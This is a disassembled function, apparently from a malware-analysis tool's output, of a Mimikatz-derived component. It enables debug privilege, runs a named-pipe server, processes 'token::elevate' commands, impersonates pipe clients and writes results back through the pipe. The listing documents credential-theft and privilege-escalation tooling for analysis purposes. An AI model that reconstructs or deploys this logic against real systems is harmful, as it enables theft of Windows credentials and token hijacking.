Function at 0x180005a28
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x340]
sub rsp, 0x440
xor r15d, r15d
lea r9, [rbp + 0x390]
xor r8d, r8d
lea esi, [r15 + 1]
mov dword [rbp + 0x388], r15d
lea ecx, [rsi + 0x13]
mov edx, esi
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov r13d, 0x100000
mov ecx, r13d
call fcn.18001348c
mov r12d, 0x80000
mov rbx, rax
mov qword [0x18004b8f0], rax
test rax, rax
je 0x180005cd2
mov ecx, r12d
mov qword [0x18004b8e8], r12
call fcn.18001348c
mov qword [0x18004cdb0], rax
test rax, rax
je 0x180005cf3
mov r8d, r12d
xor edx, edx
mov rcx, rax
call fcn.1800153c0
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call fcn.1800153c0
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
lea edx, [rsi + 2]
lea r8d, [r15 + 6]
lea rcx, str..pipePIPEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
mov r9d, esi
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
or rbx, 0xffffffffffffffff
mov rdi, rax
cmp rax, rbx
je 0x180005ccb
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x180005b29
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r15d
cmp eax, 0x217
sete dl
test edx, edx
je 0x180005b05
mov ecx, esi
call fcn.180005f48
mov al, byte [str.MIMIKATZ_ABCDEFGHIJKLMNOPQRSTUVWXYZ]
cmp al, 0x21
je 0x180005b47
cmp al, 0x40
je 0x180005b71
lea rcx, str.MIMIKATZ_ABCDEFGHIJKLMNOPQRSTUVWXYZ
jmp 0x180005bbb
lea rdx, [rsp + 0x40]
lea rcx, str.token::elevate
call fcn.180005e48
test eax, eax
je 0x180005b68
lea rcx, [rsp + 0x40]
call fcn.180006058
jmp 0x180005b9c
cmp byte [str.MIMIKATZ_ABCDEFGHIJKLMNOPQRSTUVWXYZ], 0x40
jne 0x180005b9c
lea rax, [rbp + 0x388]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov rcx, qword [0x18004b8f0]
mov r8, r13
xor edx, edx
mov qword [0x18004b900], r15
call fcn.1800153c0
lea rcx, [0x180047561]
lea rdx, [rsp + 0x40]
call fcn.180005e48
test eax, eax
je 0x180005bd3
lea rcx, [rsp + 0x40]
call fcn.18000598c
xor ecx, ecx
call fcn.180005f48
mov rsi, qword [0x18004b8f0]
mov r14, qword [0x18004cdb0]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov r8, rsi
mov r9d, ebx
xor edx, edx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdx, eax
cmp rdx, 0x7ffff
ja 0x180005ca5
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov r9d, ebx
mov r8, rsi
xor edx, edx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r14, qword [0x18004cdb0]
inc rbx
cmp byte [r14 + rbx], r15b
jne 0x180005c4d
mov esi, r15d
mov dword [rbp + 0x380], r15d
test ebx, ebx
je 0x180005ca5
mov r13d, 0x2000
mov r8d, ebx
mov edx, esi
lea r9, [rbp + 0x380]
sub r8d, esi
mov rcx, rdi
mov qword [rsp + 0x20], r15
cmp r8d, r13d
cmova r8d, r13d
add rdx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x180005c9f
add esi, dword [rbp + 0x380]
cmp esi, ebx
jb 0x180005c6a
mov r13d, 0x100000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [0x18004b8f0]
mov rdi, qword [0x18004cdb0]
test rdi, rdi
je 0x180005cf3
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1800153c0
mov rcx, rdi
call fcn.1800129dc
test rbx, rbx
je 0x180005d0d
mov r8, r13
xor edx, edx
mov rcx, rbx
call fcn.1800153c0
mov rcx, rbx
call fcn.1800129dc
mov ecx, dword [0x18004b954]
test ecx, ecx
je 0x180005d39
mov rdx, qword [0x18004b958]
test rdx, rdx
je 0x180005d39
mov eax, dword [0x18004b950]
sub ecx, eax
mov r8d, ecx
lea rcx, [rdx + rax]
xor edx, edx
call fcn.1800153c0
mov rbx, qword [rsp + 0x498]
add rsp, 0x440
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret